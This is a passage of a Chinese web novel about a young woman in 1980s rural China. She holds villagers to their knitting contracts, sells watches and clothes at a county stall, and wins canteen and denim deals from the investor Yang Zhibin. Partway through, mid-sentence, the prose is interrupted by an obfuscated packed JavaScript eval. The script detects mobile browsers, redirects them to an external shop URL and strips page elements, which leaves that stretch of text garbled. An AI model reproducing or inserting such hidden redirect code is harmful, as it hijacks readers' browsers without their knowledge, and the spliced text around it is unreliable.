他忍不住忐忑地问:“瑶丫头,咱们批发了这么些货,能全卖出去吗?” “能!” 林沐瑶脆声回道:“就算安平县卖不了,不还有北城市吗?北城市可比安平县富裕,无论如何都能卖掉的。” 林守卫的心终于回到了肚子里,只要亏不了就好,但又忍不住贪心地问:“咱们这一趟能挣多少钱?” 林沐瑶头疼,守卫叔这也太没警惕心了,俗话说财不露白,在人来人往的批发市场,又是人生地不熟的地方,特别忌讳谈钱财。 她抿唇提醒,“守卫叔,咱们回去了再说吧,在外面我也没心思去盘算。” 林守卫不疑有他,点头不迭,“好。” 等回到旅馆,他们把东西放下,洗漱了一番,又出去吃了点东西,这才去火车站买票,因为上次坐硬座回家的惨痛经历,她这次回家再也不要坐硬座了。 林守卫却归心似箭,他抿了抿唇,说道:“其实坐硬座也没多辛苦。” 林沐瑶坚持,“可我受不得那份辛苦。” 林守卫看了眼她疲惫的脸,以及瘦削的身体,最后默默地咽下了继续劝说的话,林沐瑶身子弱,不能跟他一样奔波劳碌。 不过事上不如意事十有八九,他们虽然顺利地买到了卧铺票,但是美中不足,没有买到一个车厢的,不仅如此,车厢离得还挺远的。 林守卫皱着眉头道:“还不如买成连在一起的硬座呢。” “座位是死的,人却是活的,又不是不能够调换了。” 林沐瑶笑着道。 反正她是不准备坐硬座了,上次坐硬座回去,差点要了她半条命,林守卫看了眼她疲惫的神色,到嘴边的反驳的话最后又咽了回去。 在外面随便吃了点东西,俩人便回了旅馆,美美地睡了一晚,便起身收拾行李回家。 因为这次是卧铺票,没有上次疲惫,但也不轻松,回到家,她愣是休息了整整一天。 睡到傍晚醒来,家里就来了几个社员,手里不是拿着毛衣,就是拿着围脖,这些人都是从她手里,拿了毛线回去做加工的,她们这次过来是交货。 社员当中有李翠饿,毕竟是邻居,相处还不错,所以她要加工围脖和毛衣的时候,她也就答应了。 因为这里面就她跟她最熟,由她站出来问话,“瑶丫头,你还收毛线围脖和毛衣吗?” “收,当然收了。” 林沐瑶先是笑着回了句,然后小脸一绷,说道:“各位大娘,婶子、嫂子,都是一个大队的,大家也都是我的长辈,但俗话说亲兄弟明算账,咱们这加工活计,不是一次两次,而是长期做,所以我丑话说前头,围脖和毛衣缺斤短两的,或者用旧毛线换新毛线的,我可都要追究,并且要求罚款的,这些当初你们拿活的时候,我已经强调过了,这次我再强调一遍,希望各位能够谅解。” “瑶丫头,你尽管放心,我们肯定能够谅解,不会做那缺德事。” 李翠娥拍着胸膛保证。 但却有人拿着包袱往后躲,她织的围脖毛线少了半两,织的毛衣少了一两,她织了两条围脖,一件毛衣,一共少了二两毛线。 她不愿意这么做,但她婆婆一直在她耳朵边念叨,“天越来越冷了,黑蛋还没有毛衣,小孩儿毛衣需要的毛线不多,你这个少半两,那个少一两,一点儿也不不明显,几次就能够给黑蛋攒出一件小毛衣来。” 她看着三岁的小儿子,因为天凉,而冻红的小脸儿,心一痛便答应了,只是没有想到林沐瑶竟然收货的时候要过秤,她开始着急了,默默地退到最后,想着办法。 但还没有等到她想到办法,其他人就已经交了货,拿了加工钱,只剩下自己了,她磨磨蹭蹭地把自己织的围脖和毛衣,交给了林沐瑶。 林沐瑶拿着秤一称,眉头一皱,问:“怎么少了二两?” 她咽了咽口水,嗫懦道:“织毛衣的时候总会掉些毛毛,少一些,不是很正常吗?” 不等林沐瑶反驳,李翠娥就率先反驳道:“你当给鸡拔毛啊,不过两条围巾一件毛衣,就少了二两毛线,指不定自己贪了。” 其中有一个人是她家的邻居,站出来揭她底,“你婆婆说你们家黑蛋马上就有新毛衣穿,也没见你们去城里买毛线,肯定是用贪来的毛线织的。” 林沐瑶也不跟她废话了,直接道:“去大队部,按照当初签的协议交赔款。” 小媳妇叫张美茹,闻言瑟缩了下,然后通红着眼眶祈求道:“能不能不要去,我,我不要加工费了。” 林沐瑶丝毫不让,“那也不成,当初说好了,按照协议办事,就得说到做到。” 张美茹抬眼望着她,责问道:“林沐瑶,按照辈分你得喊我一声嫂子,你非要如此无情?” 林沐瑶小脸一沉,冷声道:“生意场上不讲情分,我是真金白银地请你做活的,又不是让你做白工,而且事先也签了协议,所以我问心无愧。” 张美茹自然不愿意去,再次红着眼睛打感情牌,“黑蛋也要叫你一声姑姑,天冷了,他连一件毛衣都没有,你就不能心疼心疼他?” 林沐瑶冷嗤道:“谁生的谁养,黑蛋又不是我生的,我凭啥心疼。” 说完不顾她挣扎,拽着她去大队部,李翠娥几个人跟着。 到了大队部,张美茹的婆婆葛兰英也来了,她一过来,就迈着小脚朝着林沐瑶跑过去,伸手就要薅她的头发,嘴里还骂道:“美茹是你嫂子,你敢欺负她,不尊敬长辈,我替你爹娘教教你。” 林沐瑶侧身一躲,她没有薅到她的头发,她立刻又要再次伸手,李翠娥等人也反应过来了,赶紧拦住她。 林沐瑶现在可是她们的财神爷,张美茹一家在牛角岭大队,也就是中等偏下的家境,对她们没有丝毫帮助不说,葛兰英还嘴碎手多,不是挑拨别人家的关系,就是顺手摘别人家自留地的蔬菜。 虽然都是一个大队的本家人,但这样的人家不值得她们为了她跟林沐瑶对上,如果要选择站队,她们选择林沐瑶。 葛兰英见这么多人护着林沐瑶,气地“嗷”的一声哭了出来,“支书啊,林沐瑶欺负本家嫂子,你可得为我们做主啊,否则没法活了!” 支书被她嚎得头疼,他最不耐烦应付妇人之间的矛盾,特别葛兰英这样胡搅蛮缠的人,但又不能不管,他没好气地呵斥道:“住嘴!” 葛兰英哭嚎的声音瞬间卡在了喉咙里,她看着支书黑沉的脸色有些害怕,瑟缩道:“林,林沐瑶欺负本家嫂子,不尊敬长辈,支书你不能不管。” 支书冷声道:“当初拿毛线的时候,规矩都定好了,张美茹不遵守规矩,自然就得按照协议赔款。” 葛兰英梗着脖子,大声道:“你们都欺负老实人,都是本家人,少了2两毛线,有啥大不了的,值得这么揪着不放吗?” 林沐瑶气笑了,反问:“那我家没鸡蛋吃,去你家拿两斤鸡蛋,可以吗?” 葛兰英挺起胸膛,大声质问:“凭啥,我家的鸡蛋,是我辛辛苦苦喂鸡得来的,凭啥你上下嘴皮子一张就要拿走两斤。” 林沐瑶拍了拍手,大声道:“那我的毛线也是真金白银买来的,凭啥白给你?” 葛兰英卡壳,林沐瑶扭头看向支书,说道:“支书爷爷,就按照协议上的来,扣掉加工费,再把二两毛线的钱赔我。” 另外她又转身看着围着吃瓜的社员们大声道:“我以后是打定主意做个体户的,以后少不了要麻烦咱们牛角岭大队的社员们,帮我加工产品,所以今天规矩必须立起来,要不然以后都有样学样,我的生意根本没办法做 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她狠狠地剜了她们一眼,这才大声澄清,“因为我也帮了杨总一个忙,所以他才愿意帮我,人家杨总什么场面没见过,就我现在这样,又是二婚,人家看得上才怪。” 社员们再次打量林沐瑶,脸色蜡黄,头发干枯发黄,身板瘦弱得一阵风都能够吹走,完全没有了以前的妩媚动人,别说杨家后人那样从富贵堆里走出来的男人了,就是他们农村小伙子也没有几个能够看得上。 于是看林沐瑶的眼神再次回归正常,甚至开始出声讨伐黄翠花婆媳俩,“坏了自家闺女的名声,对你们有啥好处,没见过你们这样狠心的人。” 黄翠花和李香草气结,这些人真是势利眼,看谁能耐,就巴着谁。 因为有了杨志彬这张大旗,社员们为了以后能够从林沐瑶手里接活护着她,支书本来就站她那边。 任凭葛兰英和张美茹婆媳俩如何哭嚎,最后还是按照协议赔了林沐瑶钱,林沐瑶在牛角岭大队社员面前,头一次立威圆满达成。 接着又收了几个社员织好的围脖和毛衣,这才回家。 站在家门口,看着自己家的茅草房,她叹口气,她该把房子修一修了,另外也得在城里买一套房,牛角岭大队算是一个退路,而安平县城是她事业的起点,这俩地方无论如何都得有套房子。 买房子需要钱,所以首要任务还是得搞钱。 做了一荤一素的晚饭吃了,又喝了中药,洗漱一番,她又回去睡觉了,明天一早还得去城里卖电子表,以及她批发回来的衣裳,还有这些天加工的围脖和毛衣。 第二天一早,林守卫就赶着骡车载着王春花来接她,她把电子表还有衣裳等提上车,几人便向县城出发。 路上王春花先是忐忑地问:“瑶丫头,咱们的电子表能卖出去吗?” 她也跟林守卫一样患得患失了,毕竟这批电子表压上了他们夫妻所有的身家。 林沐瑶再次把安慰林守卫的话,安慰了她一遍后,又笑着道:“电子表放不坏,一时间卖不完,咱们慢慢卖就是了,总能够回本的。” 王春花松了口气,“也是。” 解决了这件心事,王春花又说起了烩菜摊子的事,“你不过有几天没做,火车站那边就多了几家卖烩菜的,他们也跟着免费送馒头,真是不要脸,自己想不出来新法子,只会学别人。” 林沐瑶拍了拍她的肩膀,安慰道:“做小吃摊要的是手艺,只要我手艺好,别人抢不走我生意,就是做小吃摊利小又辛苦,我目前不打算做了。” 王春花好奇地问:“那你打算做什么?” 林沐瑶摇了摇头,“不清楚,没想好。” 但等到了安平县最热闹的百货大楼门前,听到人议论杨志彬要在安平县投资纺织厂,专门生产牛仔布料,她笑了,她知道接下来该做啥了,这次她真的要发财了。 25. 送礼学问 牛仔衣服在八十年代可是时尚的代名词,只要能够弄到手货,根本就不用怕没有市场。 如果杨志彬的纺织厂生产出来了牛仔布料,她肯定要死皮赖脸地去找杨志彬,就是撒泼打滚也要求杨志彬,给她批发牛仔布料的份额。 虽然这么做有些不要脸,但是如果要脸,就别做生意了,生意人就不能太要脸面。 至于她没学过服装设计,但没吃过猪肉,还没见过猪跑吗? 也不用太过有设计感的衣服,只要去瞅瞅街面上人们喜欢穿什么样的款式,她雇人做啥就好,再不成,把后世的一些基础款改一改,符合当下审美就成。 在她畅想发财计划的时候,有一个中年女同志拿起一条大红色的毛线织的围脖,问:“同志,这毛线围脖咋卖?” 林沐瑶赶紧收敛了思绪,笑着回答:“15块,这可是海城最流行的款式,您瞅瞅这毛线,可是全毛的,围脖子上绝对暖和。” 女同志伸手拿了毛线围脖,用手摸了摸它的触感,的确是全毛的,全毛的毛线一斤二十五块,这样的围脖需要三两左右,一斤两块五毛钱,三两就是7块5毛,再加上手工,顶多八块钱。 她这样想的,也这样说了,“8块钱,我就买一条。” 林沐瑶笑了,“同志,您可真会算账,一点利润都不想给我们,这可是从海城批发的毛线,来回路费,再加上住宿费和伙食费,8块钱我们是真亏。” 中年女同志又让了让价格,“那九块钱。” 林沐瑶再次还价,“10块,这可是海城最流行的款式,您再看看这做工,可是花了工人两天的时间呢,工钱我都得付人家两块钱,10块钱少一分钱都不能够卖的。” 中年女同志是真喜欢这围脖的款式和花色,最后又让步,“九块五毛钱,我就要一条。” 林沐瑶在心里盘算账本,最后做出一副亏本的样子,无奈道:“姐,我们刚支开摊子,您是第一个顾客,给您一个开张价格,九块五毛成本价给您。” 中年女同志满意地拿着毛线围脖离开,有了第一个顾客,后续顾客就断断续续地来了,买围脖的,经过一番讨价还价之后,大都以九块五毛线成交,跟她预想的十块钱便宜了五毛,但她也并不亏本。 另外就是毛衣,女士毛衣多以三十块成交,男士的多是三十三块成交,而电子表她直接咬死了十五块谁让电子表比较稀罕呢。 她带来的围脖和毛衣,毛线质量好,款式洋气,织的花纹也新鲜好看,所以非常受欢迎,顾客来了一波又一波,虽然忙得分身乏术,但收钱的快乐能够抵消一切的疲惫,原来还担心卖不出货的林守卫和王春花笑得见牙不见眼。 “林同志。” 百忙之中,一声熟悉的呼唤响起,林沐瑶抬眼望去,竟然是季晖。 她赶紧把眼前正在讨价还价的顾客交给了王春花,自己去招待季晖,“季同志,好久不见。” “好久不见!” 季晖笑着回了句,然后看了看她摊位之前围着的人,打趣道:“您生意兴隆。” 林沐瑶笑了,“不过小本买卖,糊口而已。” 然后笑着问:“您要不来件毛衣,纯手工织的,款式时尚又保暖?” 季晖虽然只是杨志彬的助理,但是他薪水高,平常虽然不像杨志彬那样穿特别订制的衣裳,但也是大牌的忠实顾客,自然看不上这里的地摊货。 但嘴上却说的好听,“我就不耽搁林老板发财了。” 然后又道:“我们杨总请您吃顿便饭。” 林沐瑶一副受宠若惊的样子,“那我真是太荣幸了。” 赶紧又道:“杨总帮了许多,其实应该我请他吃饭才对。” 季晖笑了笑,略过这件事不提,说道:“杨总就住在县政府招待所,明天午饭没有安排。” “好,我一定到。” 林沐瑶忙不迭地答应道。 杨志彬可是她的财神爷,自然要巴着,她无论有空没空都要抽出时间去吃饭。 季晖见她答应得这么爽快也高兴,他见过不少明明很穷,需要仰仗贵人,但却在交往过程中,总是把个人自尊放在首位,不想迁就富人,认为那是巴结人。 让他说,巴结就巴结了,想要贵人手里的资源,哄贵人开心怎么了?天下没有免费的午餐,也不会有人会主动把饭喂人嘴里。 林沐瑶就很好,她很清楚自己想要什么,并且会努力去争取。 就在他准备告辞离开的时候,就又听到林沐瑶说:“季同志,谢谢你上次给我的20块钱,没有那些钱,我也不能很快地攒够去海城的路费,有时间的话,赏脸吃顿便饭,也让我感谢上次你的援手之恩。” 季晖没想到林沐瑶还记着这事儿,他笑着道:“不过举手之劳,不想你还记得,但最近我和杨总都在忙投资建厂的事实在分身乏术啊。” 林沐瑶面露失望,很快便又面带感激的笑容道:“那等有时间了,您一定要赏脸。” 季晖笑了,“一定!” 虽然婉拒了林沐瑶的邀约,但是他心里却有一种成就感,不过随手的一个小小善举,却帮一个人度过了难关,这种成就感不比签了大单子差。 等他离开后林沐瑶再次回到摊位前,再次开始忙碌起来,王春花和林守卫虽然好奇季晖的身份,以及找林沐瑶的目的,但是现在顾客多,他们根本顾不得问。 这么一忙,就到了午饭之后,货卖完了,他们才有功夫填肚子,这时候王春花才有机会开口问:“瑶丫头,刚才那位男同志找你干啥?” 林沐瑶没有瞒着,笑着道:“他是杨家后人杨总的助理,他说杨总要请我吃饭。” 王春花震惊地张大了嘴巴,“杨家后人请你吃饭?” “瑶丫头,这是真的?” 林守卫紧跟着问。 林沐瑶点头,“就明天中午。” 王春花一拍大腿,“这可是大好事,老杨家以前就是大财主,拔根毫毛都比咱们的大腿粗,从他们手指缝里随便漏一点儿,就够咱们吃一辈子了,你可一定要抓住机会啊。” 林守卫却有着不同的意见,“瑶丫头,人家愿意帮忙,咱就接着,不要强求,天上不会掉馅饼,富贵人家不会轻易给人好处的。” 他说完,就挨了王春花一胳膊肘,“净说丧气话,你没听昨天瑶丫头说,她帮了杨家后人一个忙吗?有钱人都不愿意欠人情,这次去,指不定是杨家后人想还瑶丫头人情呢。” 她又看向林沐瑶,问:“瑶丫头,甭听你叔的,一个大老爷们的性子忒墨迹。” 林沐瑶没有想到自己昨天拉大旗扯的谎,王春花还真信了,她僵硬地笑了笑,含糊道:“我心里有数。” 赚钱机会就在眼前,让她放过,那是不可能的,至于代价,那是以后的事,先把机会捞手里再说,要想干事业,就不能前怕狼后怕虎。 “啪!” 王春花笑着拍了拍手,激动地道:“这才对嘛。” 接着她就看林沐瑶身上的衣服不顺眼了,见大人物总要打扮得齐整一些,她饭也不吃了,拽着林沐瑶的胳膊就走,“去买两件新衣裳,好好地捯饬捯饬自己。” 林沐瑶挣扎着挣脱她的手,笑着道:“杨总知道我的情况,咱们穿着整齐干净就好,不用特地穿什么好衣裳,有这功夫,还不如想想明天去见杨总,带什么伴手礼好,总不能两个肩膀扛一个头好。” 提起伴手礼,王春花眉头拧了起来,“咱们也没啥拿得出手的啊。” 林沐瑶想了想,道:“送礼贵在心诚,不用强求价格。” 虽然如此说,但她内心也发愁,明天去吃饭,带什么礼物好。 等回家的时候,她一路都在想这个,但等走到护城河的时候,她看着只剩下一小段的城墙,眼睛亮了亮,华国人都有故国情怀,无论走多远,出生并长大的地方永远是他灵魂深处的牵挂。 老杨家移民漂亮国的时候,安平县城门还在,城门是一个城市的门面,也是杨家老爷子内心的牵挂。 她可以回去让村里的老 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李萍终于被说服了,她笑着道:“听你这么一说,还真是这个道理呢,我去找找咱们大队的老人,让他们说一说咱们县城的老城门长啥样?” 她是个急性子,说完就马不停蹄地去了。 安平县城门的样子是喜欢剪纸的人常用的花样,倒也不麻烦,熟练工不过半个小时的时间,就剪出了安平县曾经的四个城门,不仅如此还剪了安平县的城隍庙,以及几个有名的景点,另外还有十二生肖等等。 林沐瑶拿到这些剪纸喜出望外,赶紧找了一个盒子装了起来,打算明天送给杨志彬。 第二天一早,她就起床打扮,衣裳倒没有可挑剔的,都是新衣裳,捡一身就好,头发梳成了丸子头。 梳头时候,看着自己干枯的头发,她喃喃自语,“该把头发剪短了,重新养一茬新头发,发质不好,太毁形象了。” 洗了脸,抹了雪花膏,她冲着镜子里的自己微微一笑,狐狸眼闪闪发亮,经过她几天的调养,脸上终于有了血色,皮肤也不再像以前那么黯淡无光,虽然还没有恢复原主先前的美貌,但最起码气色好了,看着健康了。 她不急,一口吃不成胖子,身体要慢慢调理,总有一天会恢复如初,其实这样也好,原主的外貌太显了,她正在创业初期,容貌太盛不是好事。 今天她不打算出门做买卖了,让王春花和林守卫他们两口做,她也不跟着他们一起进城,而是借了支书家的自行车独自进城。 她到县政府招待所的时候,等了一小会儿,杨志彬就来了,他先是客气地打了招呼,然后邀请她去了县城的一家看着比较上档次的餐厅吃饭。 林沐瑶把准备的礼物送给他,“一点心意,请您笑纳。” 杨志彬看了眼剪纸,神色温和了不少,“这礼物正好借花献佛送给老爷子,他一定喜欢。” 林沐瑶笑了,“老先生喜欢,是我的荣幸。” 寒暄了两句,俩人便坐到了餐桌旁,他先是让林沐瑶点菜,林沐瑶没客气,点了这家的招牌菜,把菜单递还给了他,他问了林沐瑶有没有忌口的之后,便又点了几个菜,然后才进入谈话程序。 “时间有限,咱们长话短说,上次你问我投资建厂的方向,现在定下来了,准备投资建一家生产牛仔布料的纺织厂,你对建厂时候建筑工人的伙食,还有建厂后厂里的食堂,可感兴趣?” 他听说林沐瑶卖过烩菜,便想着她可能去餐饮生意感兴趣,便提出了这个想法帮她一把。 林沐瑶激动地点头如捣蒜,“有,当然有。” 虽然有了餐食方面的生意,但她还是不想放弃批发牛仔布料做衣服卖的事儿,她抿了抿唇,说了自己的想法。 这是小事,杨志彬没有犹豫就答应了,“我会让上任的厂长给你留配额的。” 虽然超额完成任务,但林沐瑶心里却沉甸甸的,两样生意虽然前景好,暴富就在眼前,但前期投资也不小,她该怎么筹措启动资金? 26. 基建狂魔 贪心的林沐瑶做好决定后,便开口问:“杨总,纺织厂什么时候能够投产?” 杨志彬想了想道:“最快三个月,但如果工期不拖延,两个月尽够了。” 他这是不了解华国基建狂魔的威力,还三个月,一个月就能把厂房建好,她赶紧提醒道:“华夏民族是世界上最勤劳的民族,别人按时上下班工作就是勤快,华国人恨不得一天当作两天用,只要资金充足,工期九成九不会拖延,大概率会提前。” 杨志彬不置可否,对林沐瑶的话持保留意见,他们杨家可不只在漂亮国有资产,香江、湾湾和岛国都有投资,这些年他们也建国不少工厂,提前的概率几乎没有,除非想要提前投产,大笔大笔的钞票砸下去,重赏之下,才会把工期提前几天。 林沐瑶看他不以为意的样子,再次好心提醒,“杨总,有备无患,华国人跟其他国家的人不同,您可能不理解他们对于工作挣钱的渴望。” “我会考虑的。” 杨志彬语气平淡地回答道。 林沐瑶看他那种淡淡的神色,就知道他没有放心上,她叹口气,作为朋友,她已经尽到提醒的义务了,而且还强调了一次,人家不相信,她也没办法。 吃过饭,林沐瑶主动提出了告辞,杨总是大忙人,她可不会没眼色地占用人家的午休时间。 “让季晖开车送你回去。” 杨志彬突然开口。 林沐瑶婉拒了:“谢谢杨总和季同志好意,我自己骑车过来的,回去方便。” 闻言,杨志彬没有坚持,“那你路上小心。” 林沐瑶微微一笑,“杨总,再会。” 杨志彬薄唇一掀,“再会。” 等人离开,季晖便问:“杨总,咱们要不要考虑林同志的提醒,提早安排生产线。” “不用。” 杨志彬淡淡地道。 季晖忍不住又问:“万一工期提前了呢?” 杨志彬眉眼不动地回道:“工期提前了,等生产线到了开工也不耽搁,要不然厂房没有建好,生产线运了过来,还得找地方安置,宁肯晚开工,也不能让生产设备出事。” 这批牛仔布料的生产设备,可是他托了人情,费了力气弄来的,虽然不是最先进的,但也不好购买,这是他在华国内地投资的第一个项目,他不想出现任何的差错。 闻言,季晖也不好说什么,当初这批设备是他在跟进,他也知道设备的来之不易。 这件事略过,他很快又问起了其他的事情,“杨总,咱们时候动身去香江?电话自动转接器的事,得您亲自去谈。” 杨志彬眉头微拧,“你安排最近一般的飞机,我们马上动身。” 季晖忙不迭地答应,“好。” 至于安平县这边,交给安平县政府这边的人就好。 虽然这家纺织厂是他投资的,但碍于政策要跟这边的政府合资,这个纺织厂体量不大,他并不在意是独资,还是合资,他最终的目的是拿回祖产杨家大院,所以只建厂房,根本不用他亲自盯着。 而林沐瑶骑着自行车并没有回牛角岭大队,而是去了百货大楼那边找林守卫和王春花,他们俩人今天继续摆摊卖电子表,还有帮她卖毛线围脖和毛衣,以及她这次批发回来的中山装。 她过去的时候,今天带过来的二十件中山装,已经全部卖完了,就是电子表也卖完了,只剩下毛线围脖和毛衣了,中山装料子好,做工好,还比百货大楼便宜,所以很受欢迎,电子表则比较稀罕,也畅销得很。 毛衣和毛线围脖因为很多人都会织毛衣,所以虽然也好卖,但明显没有前面两样受欢迎。 王春花看到她,便提议道:“瑶丫头,以后你再进货,甭进毛线围脖和毛衣了,这两样不好卖。” 林沐瑶微微一笑,“那我下次少进点儿。” 她如今也算咸鱼翻身了,极品娘家恨不得对她敲骨挖髓,随着她挣钱越来越多,他们的贪婪心也会越来越强烈,支书迟早会压不住,她需要拉拢大队的人一起压制他们,她辛辛苦苦挣的钱,可不想便宜极品一家,而现在拉拢的办法,就是继续给他们挣钱的活计。 王春花却不懂她的盘算,不赞同道:“有这些钱还不如多进货电子表和衣裳呢。” “婶子,有钱大家一起挣,要不然会被人眼红排挤的。” 林沐瑶点头为止。 王春花也是傻的,立刻明白了她的意思,点了点头,“那我们下次也进一点毛线。” “婶子不用这么麻烦,我找到新的活儿了。” 林沐瑶给她报告好消息,“杨总的纺织厂不是生产牛仔布料吗?我请他给我留了一点配额,等拿到牛仔布料,咱们就可以自己做衣裳来卖了。” “真的,真是太好了。” 王春花激动地拍手叫好,但很快她就皱起了眉头,“只有布料,没有裁缝,没有缝纫机,咋做衣裳?” 这个林沐瑶在来的路上,就已经想到办法了,“裁缝好找,咱们雇一个就是,缝纫机就用社员们家的,谁要来帮忙做衣裳,带上缝纫机,一台缝纫机一个月给五块钱的折旧费。” 这倒是一个办法,不过王春花眉头刚刚松开又皱了起来,不赞同道:“五块钱太多了,三块钱就好。” 林沐瑶却道:“缝纫机是各家各户的大件,谁家都爱惜得很,不多给点钱,怕别人不舍得给用。” 这倒是实话,一台缝纫机一百多呢,相当于半年工资,谁家不爱惜,给钱少了,还真不舍得拿出来给别人用,但如果一个月五块,那么一年就是60块,能够买半台缝纫机了,两年就是一台新机子,两年时间又用不坏缝纫机。 她不再反对后,林沐瑶又跟她说了另外一件事,“纺织厂马上就要动工,杨总把工地食堂交给我负责了。” 王春花喜出望外,“这个好,稳挣不赔。” 但是林沐瑶又发愁一个问题,“如果做食堂,我就没办法去进货了。” “没事,你去进货,我跟你李奶奶帮你看着,不会耽搁你的事儿的。” 王春花大包大揽。 林沐瑶却不会这么心安理得,想了想她打算拉支书一家入伙,“我现在又要进货,又要做食堂,资金不够,而且我一个人也撑不起摊子,不如食堂咱们两家合伙做吧,你们出人手,再出三成的钱,占四成,我出七成的钱,占六成。” 王春花有些心动,但嘴上却道:“这怎么好意思,这是人家杨总给你的活儿。” 林沐瑶却语气坚定地道:“既然给我了,我怎么运作自然是我说了算。” 王春花还是没有答应,她犹豫道:“我得回去跟家里人商量商量。” “那我等你的好消息。” 林沐瑶笑着道。 而她回去一说,支书直接就拒绝了,“那是瑶丫头的生意,我们掺和干什么,瑶丫头一个人多难,好容易日子有点起色了,我们怎么能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001357|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够搅和进去?她要是缺钱缺人,我们都可以帮忙。” 就是李萍也是这个意思,林沐瑶最近虽然挣了点钱,但是她的房子还是茅草屋,身体也还没有养好,需要用钱的地方多,好容易有个稳定的来钱路子,他们怎么好意思去掺和。 最后还是林沐瑶去劝说,说了以后还有加工衣服的活,另外这个食堂的活儿是长期的,不是一天两天,所以不能够一直找他们帮忙。 最后支书虽然答应占份子,但却只要三成,就按照拿钱的分成分,林沐瑶心暖了暖,最后答应了。 虽然先前做烩菜时候的锅碗瓢盆,还有炉子都在,但是要做五六十号人的早中晚三餐,还是不够的,他们又去置办了一套家伙什。 他们进进出出,忙忙碌碌的,大队的社员们很快就知道了,林沐瑶从老杨家后人的手里承包了新纺织厂建筑工人的伙食,还拉了支书一家入伙,眼红的人不老少。 “以前瞅瑶丫头是个老实的,没想到竟然是个势利眼,就知道巴结支书一家。” “就是呢,怪不得她男人不要她了。” 大队里的酸气冒的,都能够腌酸菜了,就是林守德一家也蠢蠢欲动,林沐瑶赶紧把从杨志彬那儿,要了牛仔布料的批发配额,准备做牛仔衣裳的事说了。 “各位长辈以前都没少照顾我我也不是不知道感恩的人,有挣钱的活儿,自然要叫上大家一起。” 这话说的大队社员心里暖暖的,虽然还是有些眼红林沐瑶拉着支书一家发财,但好歹他们也能够跟着吃肉。 林守德一家见林沐瑶轻而易举地又获得了大队社员的信任,不由垂足顿胸,他们找林沐瑶要钱的计划落空了,就冲林沐瑶现在给社员们找了能够挣钱的活儿,他们敢找她要钱,社员们就能够捶死他们一家。 因为有了加工牛仔衣服的活儿在前面吊着,牛角岭大队的酸味总算散了,大家开始翘首盼望纺织厂赶紧建成投产,他们也好能够挣钱。 林沐瑶可顾不得他们的事,她要忙活食堂的事,还得抽时间清空上次去海城批发的货物。 纺织厂的建设很快开工,工人几乎都是本地的建筑工人,大概有五十来人。 都是身强力壮的壮劳力,干的又是体力活,饭量都不小,而且还要保证饭菜的营养,又要控制成本,林沐瑶绞尽脑汁地安排食谱。 比如早上是小米粥,必定要在小米粥里加入南瓜或者黄豆,另外的菜也要每天都见荤菜。 土豆炖肉、韭菜鸡蛋、排骨南瓜汤、萝卜炒肉丝,天天变着花样做,先开始是林沐瑶掌勺,每当这时候,她都会把林守卫叫过来,让他在一旁学。 她可不想每天绑在灶台,林守卫嘴皮子不利索,没有王春花性子活泛,王春花可以在前面招待人,或者帮忙打饭,而林守卫力气大,最适合掌勺。 先开始林守卫还不想做,“我一个大老爷们拿什么锅铲?” 林沐瑶剜了他一眼,“国营饭店的大厨也是大老爷们,他们就不是大老爷们了?” 林守卫无话可说,再说支书李萍和王春花都想让他学,他只能硬着头皮学。 别说他还真有几分天赋,没几天便能够替她掌勺了,她也清闲了下来,也能够再去批货了,得赶紧再挣笔钱,把买牛仔布料的钱给挣出来。 但是林沐瑶还没去开介绍信,杨志彬又回到了安平县,还特地让季晖来请她过去,她心里涌上浓浓的好奇,不知道杨志彬找她干什么? 27. 抱大腿 还是上次的招待所,还是上次的那个房间,林沐瑶怀疑,杨志彬包了招待所的这个房间,要不然怎么每次见他,都是这个房间。 虽然好奇,但她有分寸,自然不会直白地问出来。 杨志彬看到她,起身歉疚地道:“林同志,很抱歉,耽搁你时间,麻烦你专门跑一趟。” “杨总,我以为我们是朋友,朋友有事找,怎么能算麻烦呢?” 说着她脸上便带上了一点点落寞,继续道:“看来杨总不想认我这个朋友。” 此刻她的脸在发烧,心在忐忑,她跟杨志彬之间差距很大,比华国到漂亮国的距离还要远,她想跟人家攀关系,跟登月碰瓷差不多,但想要往上走,就得胆子大,脸皮厚。 而杨志彬淡淡的脸上有了些尴尬,立刻给了肯定的回答,“我们当然是朋友。” 林沐瑶脸上笑开了花,大佬愿意跟她交朋友,起码说明自己也没那么差,她笑着道:“是朋友,就甭客气。” 杨志彬平淡的神色一缓,这才道:“那我就不客气了,林同志上次送我的剪纸,老爷子听说后非常喜欢,他希望再来一套杨家大院的剪纸。” 杨家人离开华国后,虽然经常给国家捐款捐物资,但是目前为止,除了他,还没有人回来过,他有两个哥哥,三个堂哥,一个去女王国,两个去了澳洲,还有一个去了法国,并且各自在当地结婚生子,只有大堂哥留在了漂亮国。 这些哥哥还有一个特点,那就是虽然从小受着华国教育,但是他们几乎都对华国无感,他伯伯和父亲俩人身体大都不好,再加上前些年华国的形势,入境条件非常苛刻,这么一来,他伯伯和父亲虽然想家,但却没能够回国看看。 这次他收到了林沐瑶送给他的剪纸后,到了香江后,他就通过国际邮件邮递给了父亲,并且给父亲打过去了国际电话,让他注意查收。 父亲听说是剪纸,还是家乡人给剪的家乡景,非常高兴,笑着说:“我肯定注意。” 接着就叹了口气,忧伤道:“我已经半身入黄土,这辈子不知道能不能再回故乡看看,尝尝故乡美食。” 这个杨志彬无法保证,选择了沉默,但很快父亲就缓了过来,说道:“帮我问问老家那边会剪纸的人,能不能把杨家大院给剪出来,每天看着也能够缓解乡愁。” 杨志彬没有任何犹豫就答应了,从香江回到安平县的第一件事,就是找到林沐瑶做剪纸,他把事情一说出来,林沐瑶立刻就答应了。 她笑着道:“这是小事,回去我就去找人。” 不过她还提了一些小建议,“要不要找一些曾经在杨家大院工作过的人,把杨家大院曾经的景致也剪出来。” 杨志彬的声音总算有了些情绪,他感激道:“那就麻烦林同志了。” 林沐瑶小手一挥,“我们是朋友,怎么算麻烦呢。” 她能够为大佬做的事情并不多,既然有机会,而且事情也并不难,她自然得办好了。 